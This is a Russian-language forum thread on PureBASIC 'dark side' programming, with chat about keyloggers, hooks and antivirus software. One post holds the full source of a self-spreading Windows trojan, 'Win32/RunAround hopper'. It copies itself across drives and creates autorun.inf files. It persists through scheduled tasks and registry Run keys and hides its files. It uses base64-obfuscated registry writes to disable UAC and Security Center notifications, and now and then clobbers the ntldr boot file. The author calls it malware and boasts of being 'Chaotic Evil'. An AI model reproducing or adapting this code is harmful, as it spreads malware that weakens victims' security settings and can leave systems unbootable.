IPB

Здравствуйте, гость ( Вход | Регистрация )

6 страниц V  « < 3 4 5 6 >  
Reply to this topicStart new topic
> Dark side of Programming, PureBASIC
gamecreator
сообщение 08 Jan 2011, 16:55
Сообщение #81

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




Цитата(Guevara-chan @ 08 Jan 2011, 16:24) *
Ну, во-первых ни разу не проще
вот только не надо тут. хуки - достаточно простая вещь, не то, что твои извращения с проверкой нажатых клавиш.
Цитата(Guevara-chan @ 08 Jan 2011, 16:24) *
а вторых – ты про антивирусы слышал когда-нибудь ?
а что антивирусы?
Go to the top of the pageAdd Nick
 
+Quote Post
Etoprostoya
сообщение 08 Jan 2011, 17:48
Сообщение #82

Etoslozhnostatus
Сообщений: 8 753
Спасибо сказали: 16419 раз




Игродел не любит антивирусы, если что. И в данном случае прав - кийлоггеры и прочие в числе нелюбимчиков у антивирусов.


--------------------
- Да ну!?
- Horn of the Argali гну!
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 08 Jan 2011, 18:06 (Сообщение отредактировал Guevara-chan - 08 Jan 2011, 18:16)
Сообщение #83

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата
что твои извращения с проверкой нажатых клавиш.

Пройтись циклом – уже извращение ? Ну-ну.

Цитата
Игродел не любит антивирусы, если что.

Знаю: его это уже чуть не оставило разок без машины.

Цитата
И в данном случае прав - кийлоггеры и прочие в числе нелюбимчиков у антивирусов."

Ну, допустим. А теперь покажи им любой код с вызовом SetWindowHookEx_ на клавиатуру.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 08 Jan 2011, 18:29
Сообщение #84

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




Цитата(Guevara-chan @ 08 Jan 2011, 18:06) *
его это уже чуть не оставило разок без машины.
это ж когда? idontno.gif
Go to the top of the pageAdd Nick
 
+Quote Post
FBX
сообщение 09 Jan 2011, 00:45
Сообщение #85

🐓🐓🐓🐓🐓🐓🐓
Сообщений: 1 845
Спасибо сказали: 1570 раз




Цитата
Не должно ?


да написал как-то похожий код для определения раскладки.
и нифига не работало, layout 0 чтоли возвращал, не помню.


--------------------
using namespace fbx;
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 09 Jan 2011, 17:44 (Сообщение отредактировал Guevara-chan - 09 Jan 2011, 17:49)
Сообщение #86

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата
это ж когда?

Вот именно тогда: тебе просто повезло, что я первое из принципа не добавляла payload’ы в свой код. Недавний инцидент со W32/Scar.H же переубедил меня окончательно - новый троян теперь изначально в себе несет потенциал к обвалу системы. Код, кстати, интересен кому ?

Цитата
да написал как-то похожий код для определения раскладки.
и нифига не работало, layout 0 чтоли возвращал, не помню.

Ничем не могу помочь.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 09 Jan 2011, 17:57
Сообщение #87

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




что такое payload?
Go to the top of the pageAdd Nick
 
+Quote Post
packa
сообщение 09 Jan 2011, 18:30
Сообщение #88

Immortal
Сообщений: 3 301
Спасибо сказали: 2643 раза




Платить за загрузку mellow.gif


--------------------
Удалено Администрацией. Браузеры жаловались на вредоносное ПО.
Ссылка на оригинальное изображение: http://herоeslibrary.nеt/Site_images/admin.jpg
Ссылка на сайт по нажатию баннера: http://herоeslibrary.nеt

(ссылки содержат кириллические символы вместо оригинальных)

Видишь бяку, - упрости! (с) кто-то из выдающихся математиков)
Учи матан & Сходи с ума (с) архидедус
Go to the top of the pageAdd Nick
 
+Quote Post
tolich
сообщение 09 Jan 2011, 18:41
Сообщение #89

😸🧡✊✌️
Сообщений: 16 585
Спасибо сказали: 3554 раза




http://en.wikipedia.org/wiki/Payload_%28software%29


--------------------
Я слежу за тобой!
* tolic.narod.ru

Цитата
Всегда приятно осознавать, что кто-то делает что-то хуже, чем делал бы ты, если бы умел.
Борис "Бонус" Репетур, "От винта!", выпуск 38.
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 09 Jan 2011, 20:19 (Сообщение отредактировал Guevara-chan - 09 Jan 2011, 20:22)
Сообщение #90

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата
Платить за загрузку

Ну вроде того. Сейчас расплачиваются паролями, когда-то платили винчестерами:
http://www.pcdoctor-guide.com/wordpress/?p=1825
http://antivirus.about.com/od/antivirusglo...y/g/payload.htm
...В любом случае оно все выходит настолько невыгодно, что приходится мириться с данью производителям AV.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
FBX
сообщение 09 Jan 2011, 20:53
Сообщение #91

🐓🐓🐓🐓🐓🐓🐓
Сообщений: 1 845
Спасибо сказали: 1570 раз




Цитата
Ничем не могу помочь.

я не прошу помочь, я только спросил, работает ли код banghead.gif
ну да пофигу


--------------------
using namespace fbx;
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 09 Jan 2011, 21:29
Сообщение #92

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




ммм... надо антивирус писать
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 09 Jan 2011, 21:43 (Сообщение отредактировал Guevara-chan - 06 Mar 2014, 10:33)
Сообщение #93

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата(gamecreator @ 09 Jan 2011, 21:29) *
ммм... надо антивирус писать

Успехов тебе в этом нелегком начинании. Я же пока лучше поддержу изначальную тему:

Код
; /=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\
; Win32/RunAround hopper v0.36
; Developed in 2011 by Guevara-chan.
; \=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/

EnableExplicit; Essential.

Macro FallBack(); Pseudo-procedure.
SetCurrentDirectory("..") : RandomDir(GetCurrentDirectory())
EndMacro

Macro TryReturning(); Pseudo-procedure...
#TestFile = "_._.._._"; Проверяем возможность записи.
If CreateFile(99, #TestFile) : CloseFile(99)
DeleteFile(#testfile) : ProcedureReturn GetCurrentDirectory()
Else : FallBack(); Иначе - откат назад.
EndIf
EndMacro

Procedure.s RandomDir(Root.s)
Static Counter; Счетчик перелома....
If Counter < 10 : Counter + 1; Избегаем бесконечности.
SetCurrentDirectory(Root); Ставим текущей.
Else : ProcedureReturn GetPathPart(ProgramFilename()) : EndIf
NewList Dirs.s(); Список директорий.
Define I, Analize; Обработка директории (без проблем под XP).
For I = 1 To 10 : Analize = ExamineDirectory(#PB_Any, GetCurrentDirectory(), "*.*")
If Analize : Break : Else : Delay(10) : EndIf; Пытаемся открыть на анализ.
Next I : If Analize = #Null : FallBack() : EndIf; Не получается ? Назад !
While NextDirectoryEntry(Analize)    ; Обработка папки.
If DirectoryEntryType(Analize) = #PB_DirectoryEntry_Directory
AddElement(Dirs()) : Dirs() = DirectoryEntryName(Analize)
If ListSize(Dirs()) > 150 : Break : EndIf; Ну так, на всякий.
EndIf : Wend; Выбираем случайный элемент:
FinishDirectory(Analize); Конец анализу.
SelectElement(Dirs(), Random(ListSize(Dirs()) - 1))
Select Dirs(); Анализируем выбор...
Case ".", ".." : TryReturning(); Пытаемся вернуться директорию.
Default        : ProcedureReturn RandomDir(Root + "\" + Dirs())
EndSelect
EndProcedure

Procedure.s RandomName(Location.s)
Define Z; Дабы не было бесконечного цикла...
Repeat : If Z < 30 : Z + 1 : Else : ProcedureReturn "" : EndIf
Define FName.s = Location + "RA [" + Hex(Random(99999999)) + "].exe"
Delay(10) : Until OpenFile(1, FName) : CloseFile(1)
ProcedureReturn FName
EndProcedure

Procedure RegSetStr(hKey, SubKey.S, ValueName.S, Dat.S)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(*Hnd)
EndProcedure

Procedure RegSetInt(hKey, SubKey.S, ValueName.S, Dat.I)
Define *Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @*Hnd, 0)
RegSetValueEx_(*Hnd, @ValueName, 0, #REG_DWORD, @Dat, SizeOf(Integer))
RegCloseKey_(*Hnd)
EndProcedure

Procedure.S Decode64(String.S)
Define DB.S{200}
Base64Decoder(@String, Len(String), @DB, 200)
ProcedureReturn PeekS(@DB)
EndProcedure

Procedure.s WindowDir()
Define TPath.S{#MAX_PATH}
GetWindowsDirectory_(@TPath, #MAX_PATH)
ProcedureReturn TPath
EndProcedure

Procedure MachineCRC()
Define TPath.s {#MAX_COMPUTERNAME_LENGTH}
Define DType = #MAX_COMPUTERNAME_LENGTH
GetComputerName_(@TPath, @DType)
ProcedureReturn CRC32Fingerprint(@TPath, DType)
EndProcedure

Macro InSystem(Drive, SysDir); Pseudo-procedure.
Left(SysDir, Len(Drive)) = Drive
EndMacro

Procedure.s GetSetupPath(RootDir.s, WinDir.s)
#SetupFile = "Setup.exe"
If InSystem(RootDir, WinDir); Если диск системный...
ProcedureReturn "\\.\" + WinDir + "\con." + #SetupFile
Else : ProcedureReturn RootDir + #SetupFile
EndIf
EndProcedure

Procedure.s GetAutoPath(RootDir.s, WinDir.s)
If InSystem(RootDir, WinDir) : ProcedureReturn ""
Else : ProcedureReturn RootDir + "autorun.inf"
EndIf
EndProcedure

Procedure CheckDrive(Letter.c)
Define Root.s = Chr(Letter) + ":\" : Select GetDriveType_(@Root) : Case #DRIVE_CDROM
Case #DRIVE_REMOVABLE To #DRIVE_RAMDISK : ProcedureReturn #True
EndSelect
EndProcedure

Procedure.c GetRandomDrive(ThisFile.s)
#Drives = 'Z' - 'A' - 1
Define *This.Character = @ThisFile, Drives.s{#Drives}, I, DriveMask.l = GetLogicalDrives_(), Drv, *Drive.Character = @Drives
For I = 2 To #Drives : Drv = 'A' + I : If DriveMask & (1 << I) And CheckDrive(Drv) And Drv <> *This\C : Drives + Chr(Drv) : EndIf
Next I : If Drives : *Drive + (Random(Len(Drives) - 1)) * SizeOf(Character)
ProcedureReturn *Drive\C : Else : ProcedureReturn *This\C : EndIf; Возвращаем диск.
EndProcedure

Procedure CrashHandler(); Actually NOP.
; Just doing nothing here. We are out of luck.
EndProcedure

#NullOne = "nul"
#FixedOne = "nul::nul"
#Tasker = "schtasks.exe"
#SQuote = "\" + #DQUOTE$
#RunPrefix = "Run_Around_"
#Command = #PB_Program_Hide | #PB_Program_Wait
#Cloak = #PB_FileSystem_Hidden | #PB_FileSystem_System
#DeleteAll = #PB_FileSystem_Recursive | #PB_FileSystem_Force
#AInfo="W2F1dG9ydW5dJU4lT3Blbj0qJU4lc2hlbGxFeGVjdXRlPSolTiVzaGVsbFxPcGVuXGNvbW1hbmQ9
KiVOJXNoZWxsXE9wZW5cRGVmYXVsdD0x"
#RegDriveBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcRXhwbG9y
ZXJc"
#RegUACBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUG9saWNpZXNcU3lzdGVt"
#RegRunBranch = "U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu"
#RegSecCenterBranch = "U09GVFdBUkVcTWljcm9zb2Z0XFNlY3VyaXR5IENlbnRlcg=="
#Domain = "\\.\"
OnErrorCall(@CrashHandler())
Define MyName.s = Trim(ProgramFilename()), OldName.s = Trim(ProgramParameter()), WinDir.s = WindowDir()
Define I, Root.s = Left(MyName, 3)            ; Получаем корневую директорию.
; Имитируем проводник.
If OldName = "" And LCase(Mid(MyName,2))=":\"+LCase(#SetupFile):RunProgram("explorer.exe",Left(MyName,3),"")
ElseIf LCase(MyName) = LCase(#Domain+WinDir+"\con."+#SetupFile) And OldName = #FixedOne; Если мы стартуем с автозапуска:
RunProgram(#Tasker,"/create /sc minute /mo 30 /tn Auto_Run_Around /ru System /tr "+#DQUOTE$+MyName+#DQUOTE$,"",#Command)
Root = Mid(MyName, Len(#Domain)+1, 3) : EndIf; Начальная подготовка:
ExamineDirectory(0, "", "") : FinishDirectory(0); На случай чего.
If OldName = "" : OldName = #NullOne : EndIf; Переставляем.
If OldName <> #NullOne And OldName <> #FixedOne : DeleteFile(OldName); Если допустимо раскрытие прыжка.
OpenFile(0, Root+"Journey.txt") : FileSeek(0, Lof(0)) : SetFileAttributes(Root+"Journey.txt", #Cloak)
WriteStringN(0, #DQUOTE$+OldName+#DQUOTE$+" -> "+#DQUOTE$+MyName+#DQUOTE$) : CloseFile(0)
EndIf
; Поиск нового пути...
Define TaskName.s = #RunPrefix + Left(Root, 1)            ; Новый идентефикатор.
Define NewName.s = RandomName(RandomDir(Root))            ; Получаем случайную директори..
If NewName                                                ; Если есть, куда прыгать...
SetFileAttributes(MyName, #Cloak) : CopyFile(MyName, NewName); Конечный переход:
RunProgram(#Tasker, "/delete /f /tn " + TaskName, "", #Command); Стираем старое вхождение.
Define JumpPath.s = #DQUOTE$ + #SQuote + NewName + #SQuote; Пути планировщика.
If OldName <> #FixedOne : JumpPath + " " + #SQuote + MyName + #SQuote : EndIf
Else : JumpPath = #DQUOTE$ + MyName                    ; Перепрописываем себя на всякий.
EndIf : RunProgram(#Tasker,"/create minute /mo 1 /tn " + TaskName + " /ru System"+" /tr "+JumpPath+#DQUOTE$, "", #Command)
; А теперь походим по дискам...
Define NewDrive.s, WinDrive.s = Left(WinDir, 3)             ; Готовимся к перебросу в Windows.
If FileSize(GetSetupPath(WinDrive, Windir)) <> FileSize(MyName) : NewDrive = WinDrive; К системе.
ElseIf FileSize(GetSetupPath(Root, Windir)) = FileSize(MyName); Проверяем, доступен ли автозапуск.
NewDrive = Chr(GetRandomDrive(MyName)) + ":\"; Просто бегаем случайным порядком, вдруг чего найдем.
Else  : NewDrive = Root        ; Иначе придется заниматься корневой...
EndIf : NewName = GetSetupPath(NewDrive, WinDir) : SetFileAttributes(NewName, #Cloak); Убираем read-only.
If CopyFile(MyName, NewName) : OldName = GetAutoPath(NewDrive, WinDir)     ; Если удалось скопироваться на диск....
SetFileAttributes(NewName, #Cloak | #PB_FileSystem_ReadOnly)            ; Ставим аттрибуты на всякий.
If OldName; Если треуется файловый автозапуск....
Define InfoText.s = ReplaceString(ReplaceString(Decode64(#AInfo), Decode64("JU4l"), #CR$), Chr('*'), #SetupFile)
DeleteDirectory(OldName, "*.*", #DeleteAll); На всякий случай - удаляем такую папку..
SetFileAttributes(OldName, #Cloak) : CreateFile(0, OldNAme) : SetFileAttributes(OldName, #Cloak)
WriteString(0, InfoText) : CloseFile(0); Вписываем данные и идем дальше.
EndIf; Еще и запускаем на память:
If Root <> NewDrive And Random(3) = 0
RunProgram(NewName, #FixedOne, "") : EndIf
EndIf; Теперь ставим автозапуск:
RegSetStr(#HKEY_LOCAL_MACHINE, Decode64(#RegRunBranch), #RunPrefix + Left(NewName, 1), NewName + " " + #FixedOne)
; Some payloads here...
If MachineCRC() <> 1888994306; Если это не мой PC...
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZUF1dG9SdW4="), 0)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegDriveBranch), Decode64("Tm9Ecml2ZVR5cGVBdXRvUnVu"), 0)
If OSVersion() > #PB_OS_Windows_XP; OS-specific changes would be made here.
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegSecCenterBranch), Decode64("VWFjRGlzYWJsZU5vdGlmeQ=="), 1)
RegSetInt(#HKEY_LOCAL_MACHINE, Decode64(#RegUACBranch), Decode64("RW5hYmxlTFVB"), 0)
EndIf; Переходим к более прозаичным вещам:
If Random(99999)=0:WinDrive+"ntldr":SetFileAttributes(WinDrive,#PB_FileSystem_Normal):CreateFile(0,WinDrive):EndIf
EndIf; Расскажу чуток о себе:
DataSection : Data.s "...From creator of W32/Scar.H, with loev..." : EndDataSection

...Самодвижущийся код как примитивный троян. Нет, что-то в этом опредленно есть... Создатель ANIMAL'а был бы мной, наверное, доволен.
Примечание: поскольку я выложила код исключительно в ознакомительных целях, он был (уж не взыщите) слегка подкорректирован в целях предотвращения возможности немедленного использования в деструктивных целях.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 09 Jan 2011, 22:00
Сообщение #94

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




у тебя просто талант писать нечитаемый код.

а где намеренные ошибки? в контрольной сумме твоего ПК? wink.gif


Спасибо сказали:
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 09 Jan 2011, 22:05 (Сообщение отредактировал Guevara-chan - 09 Jan 2011, 22:08)
Сообщение #95

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата
у тебя просто талант писать нечитаемый код.

Это суровое malware, здесь так принято же.

Цитата(gamecreator @ 09 Jan 2011, 22:00) *
а где намеренные ошибки? в контрольной сумме твоего ПК? wink.gif

Нет, на сей раз просто небольшой сбой в системе размножения. Читаем manual'ы и все становится предельно ясно.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 09 Jan 2011, 22:07
Сообщение #96

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




Цитата(Guevara-chan @ 09 Jan 2011, 22:05) *
Нет
тогда ничто не мешает использовать функцию пурика для получения контрольной суммы и создать нацеленный на тебя вирус.
Go to the top of the pageAdd Nick
 
+Quote Post
FBX
сообщение 10 Jan 2011, 00:13
Сообщение #97

🐓🐓🐓🐓🐓🐓🐓
Сообщений: 1 845
Спасибо сказали: 1570 раз




Вот стесняюсь спросить... а зачем вообще выкладывать вредоносный потенциально код? Зачем вообще писать малварь?


--------------------
using namespace fbx;
Go to the top of the pageAdd Nick
 
+Quote Post
gamecreator
сообщение 10 Jan 2011, 00:17
Сообщение #98

Яблочный произвол!
Сообщений: 11 080
Спасибо сказали: 3988 раз




характер такой наверное. делать людям пакости. happy.gif


Спасибо сказали:
Go to the top of the pageAdd Nick
 
+Quote Post
Guevara-chan
сообщение 10 Jan 2011, 12:07 (Сообщение отредактировал Guevara-chan - 10 Jan 2011, 12:34)
Сообщение #99

•●Revolucionario●•
Сообщений: 2 467
Спасибо сказали: 5936 раз




Цитата(gamecreator @ 10 Jan 2011, 00:17) *
характер такой наверное. делать людям пакости. happy.gif

Chaotic Evil же.


--------------------
life MOV.I #life+1, *life
האם יש זמן לעצור ?


Спасибо сказали:
Go to the top of the pageAdd Nick
 
+Quote Post
Etoprostoya
сообщение 10 Jan 2011, 13:26
Сообщение #100

Etoslozhnostatus
Сообщений: 8 753
Спасибо сказали: 16419 раз




Che Guevara - Chaotic Good. Стоит поменять пол... smile.gif


--------------------
- Да ну!?
- Horn of the Argali гну!


Спасибо сказали:
Go to the top of the pageAdd Nick
 
+Quote Post

6 страниц V  « < 3 4 5 6 >
Reply to this topicStart new topic
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



Текстовая версия Сейчас: 25 March 2026 - 21:14
Copyright by Алексей Крючков
Strategy Gamez by GrayMage
Programming by Degtyarev Dmitry
  Яндекс.Метрика